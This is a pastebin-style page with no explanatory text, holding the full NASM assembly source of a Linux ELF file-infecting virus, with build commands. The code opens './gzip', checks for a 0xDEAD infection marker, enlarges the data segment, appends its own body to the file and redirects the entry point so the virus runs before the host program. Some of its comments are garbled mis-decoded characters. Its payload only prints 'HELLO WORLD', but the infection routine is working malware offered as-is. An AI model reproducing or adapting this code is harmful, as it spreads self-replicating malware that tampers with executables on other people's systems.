Dodany przez: Torrentow, 22:52 28-01-2013

Nowy Pobierz
  1. ;****************************************************************************
  2. ;                      Linux ELF file infection
  3. ;****************************************************************************
  4. ; Compile with:
  5. ;            nasm -f elf hole.asm -o hole.o
  6. ;            gcc hole.o -o hole
  7. ;žÃ²¡¶ŸžÄ³ÌÐòÈë¿ÚµØÖ·£¬°Ñ²¡¶ŸÌå·ÅÔÚÎÄŒþµÄ×îºó£¬²¡¶ŸÌåÖ®ËùÒÔÄܹ»±»×°ÔØœøÄڎ棬
  8. ;ÊÇÒòΪÀ©Õ¹ÁËÊýŸÝ¶ÎµÄp_filez£¬p_memez;ÕâÀïÓОöÒªÇ󣬟ÍÊÇҪȷ±£²¡¶ŸÌåÄܹ»È«
  9. ;²¿±»×°ÔØœøÄڎ棬Èç¹ûÒªžÐÈŸÈ«²¿µÄÎÄŒþ£¬0x2000²»ÖªµÀ¹»²»¹»Óá£
  10.  
  11.         section .text
  12.         global main
  13.  
  14. hoste:
  15.         ret
  16.  
  17. main:  
  18.         pusha                                   ; Beginning of the virus
  19.                                                 ; Push all the parameters
  20.         call    getdelta
  21. getdelta:
  22.         pop     ebp
  23.         sub     ebp,getdelta      
  24.                                
  25.         mov     eax,125                         ; I modify the attributes with
  26.         lea     ebx,[ebp+main]                  ; mprotect for write in protec-
  27.                                                 ; ted pages
  28.         and     ebx,0xFFFFF000                  ; Round up to pages
  29.         mov     ecx,03000h                      ; r|w|x attributes
  30.         mov     edx,07h                         ; We will only need this in
  31.         int     80h                             ; the 1st gen, because we'll
  32.                                                 ; copy us in the data section
  33.    
  34.                 mov     ebx,01h
  35.         lea     ecx,[ebp+texto]
  36.         mov     edx,0Ch                         ; Show a Hello World with a
  37.         call    sys_write                       ; write to stdout
  38.    
  39.         mov     eax,05
  40.         lea     ebx,[ebp+archivo]               ; open file to infect (./gzip)
  41.         mov     ecx,02                          ; read/write
  42.         int     80h
  43.         mov     ebx,eax                         ; Handle in EBX
  44.          
  45.         xor     ecx,ecx
  46.         xor     edx,edx                         ; Go to beginning of file
  47.         call    sys_lseek
  48.        
  49.         lea     ecx,[ebp+Elf_header]            ; Read the ELF header to our
  50.         mov     edx,24h                         ; variable
  51.         call    sys_read                        ;°ÑELFÍ·¶ÁÈëElf_headerÖÐ
  52.                  
  53.         cmp     word [ebp+Elf_header+8],0xDEAD  ; Check for previous infection
  54.         jne     infectar                        ;ÔÚÎÄŒþELFÍ·ÖеÚ9£¬10×ÖœÚ×ö±êŒÇ
  55.         jmp     salir
  56. infectar:
  57.         mov     word [ebp+Elf_header+8],0xDEAD
  58.                                                 ; The mark is on the 2 first
  59.                                                 ; fill bytes in the ident struc
  60.  
  61.         mov     ecx,[ebp+e_phoff]               ; e_phoff is a ptr to the PH
  62.         add     ecx,8*4*3                       ; Obtain 3rd entry of data seg
  63.         push    ecx                             £»°ÑµÚÈýžöÊýŸÝ¶ÎµÄÈë¿ÚѹÈë¶ÑÕ»
  64.         xor     edx,edx
  65.         call    sys_lseek                       ; Go to that position
  66.            
  67.         lea     ecx,[ebp+Program_header]        ; Read the entry
  68.         mov     edx,8*4                  
  69.         call    sys_read                        £»°ÑÊýŸÝ¶ÎµÄÃèÊö¶ÁµœProgram_header
  70.                
  71.         add     dword [ebp+p_filez],0x2000      ; increase segment size in
  72.         add     dword [ebp+p_memez],0x2000      ; memory and in the file
  73.                                                 ;ÔöŒÓµÄÊÇÊýŸÝ¶Î
  74.  
  75. ; The size to add must be superior to the size of the virus, because besides
  76. ; copy the virus, we have also to copy the section table, located before
  77. ; and it is not mapped into mem by default. It could be shifted (for avoid
  78. ; copying it) but for simplycity reasons i don't do that.
  79.  
  80.         pop     ecx                             £»ecx point to 3rd entry of
  81.                                                 ; data seg
  82.  
  83.         xor     edx,edx
  84.         call    sys_lseek                       ; back to entry position
  85.          
  86.         lea     ecx,[ebp+Program_header]
  87.         mov     edx,8*4
  88.         call    sys_write                       ; Write entry to the file
  89.  
  90.         xor     ecx,ecx
  91.         mov     edx,02h
  92.         call    sys_lseek                       ; Go to file end
  93.  
  94. ; EAX = File Size, that will be phisical offset of the virus
  95.      
  96.         mov     ecx,dword [ebp+oldentry]
  97.         mov     dword [ebp+temp],ecx
  98.  
  99.         mov     ecx,dword [ebp+e_entry]
  100.         mov     dword [ebp+oldentry],ecx
  101.  
  102.         sub     eax,dword [ebp+p_offset]
  103.         add     dword [ebp+p_vaddr],eax
  104.         mov     eax,dword [ebp+p_vaddr]         ; EAX = New entrypoint
  105.    
  106.         mov     dword [ebp+e_entry],eax
  107.        
  108. ; These are the calculations of the new entry address, that will point to the
  109. ; code of the virus. For calculate the virtual address of the virus in memory
  110. ; i move the pointer to the end of the file with lseek, so the EAX register
  111. ; will have the phisical size of the file (i.e. the physical position of the
  112. ; virus in the file).
  113. ; If to that position i substract the physical position of the beginning of
  114. ; the data segment, i will have the virus position relative to the beginning
  115. ; of the data segment, and if i add to it the virtual address of the segment
  116. ; i will obtain the virtual address of the virus in memory.
  117.  
  118.         lea     ecx,[ebp+main]
  119.         mov     edx,virend-main
  120.         call    sys_write                       ; Write the virus to the end
  121.  
  122.  
  123.         xor     ecx,ecx
  124.         xor     edx,edx
  125.         call    sys_lseek                       ; Set pointer to beginning of
  126.                                                 ; the file
  127.         lea     ecx,[ebp+Elf_header]
  128.         mov     edx,24h
  129.         call    sys_write                       ; Modify header with new EIP
  130.  
  131.         mov     ecx,dword [ebp+temp]
  132.         mov     dword [ebp+oldentry],ecx
  133.                  
  134. salir:  mov     eax,06                          ; Close the file
  135.         int     80h
  136.         popa
  137.  
  138.         db      068h                            ; Opcode of a PUSH
  139. oldentry:
  140.         dd      hoste                           ; back to infected program
  141.         ret                                                                            
  142.                                                 ;ÕâÀïdb 068 dd hosteÏ൱ÓÚpush oldentry
  143.                                                 ;ÖžÁ̫Ÿ­µäÁË
  144.  
  145.        
  146. sys_read:                                       ; EBX = Must be File Handle
  147.         mov     eax,3
  148.         int     80h
  149.         ret
  150. sys_write:                                      ; EBX = Must be File Handle
  151.         mov     eax,4
  152.         int     80h
  153.         ret
  154. sys_lseek:                                      ; EBX = Must be File Handle
  155.         mov     eax,19
  156.         int     80h
  157.         ret
  158.  
  159. dir     dd      main
  160.         dw      010h
  161. archivo db      "./gzip",0                      ; File to infect
  162. datos   db      00h  
  163.  
  164. temp    dd      00h                             ; Save oldentry temporally
  165.  
  166. ;**************** Data Zone *************************************************
  167.  
  168. newentry        dd 00h                          ; New virii EIP
  169. newfentry       dd 00h
  170. myvaddr         dd 00h
  171. texto           db 'HELLO WORLD',0h
  172.  
  173. Elf_header:
  174. e_ident:     db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h          
  175. e_type:      db 00h,00h
  176. e_machine:   db 00h,00h
  177. e_version:   db 00h,00h,00h,00h
  178. e_entry:     db 00h,00h,00h,00h
  179. e_phoff:     db 00h,00h,00h,00h
  180. e_shoff:     db 00h,00h,00h,00h          
  181. e_flags:     db 00h,00h,00h,00h
  182. e_ehsize:    db 00h,00h
  183. e_phentsize: db 00h,00h
  184. e_phnum:     db 00h,00h
  185. e_shentsize: db 00h,00h
  186. e_shnum:     db 00h,00h
  187. e_shstrndx:  db 00h,00h                
  188. jur:         db 00h,00h,00h,00h
  189.  
  190. Program_header:
  191. p_type       db 00h,00h,00h,00h
  192. p_offset     db 00h,00h,00h,00h
  193. p_vaddr      db 00h,00h,00h,00h
  194. p_paddr      db 00h,00h,00h,00h        
  195. p_filez      db 00h,00h,00h,00h
  196. p_memez      db 00h,00h,00h,00h
  197. p_flags      db 00h,00h,00h,00h
  198. p_align      db 00h,00h,00h,00h
  199.          
  200. Section_entry:
  201. sh_name      db 00h,00h,00h,00h
  202. sh_type      db 01h,00h,00h,00h
  203. sh_flags     db 03h,00h,00h,00h      ;alloc
  204. sh_addr      db 00h,00h,00h,00h
  205. sh_offset    db 00h,00h,00h,00h
  206. sh_size      dd (virend-main)*2
  207. sh_link      db 00h,00h,00h,00h
  208. sh_info      db 00h,00h,00h,00h
  209. sh_addralign db 01h,00h,00h,00h
  210. sh_entsize   db 00h,00h,00h,00h
  211.  
  212.  
  213. virend:
  214.  
  215. ;****************************************************************************

Źródło:

Ostatnie wpisy

Linki

Funkcje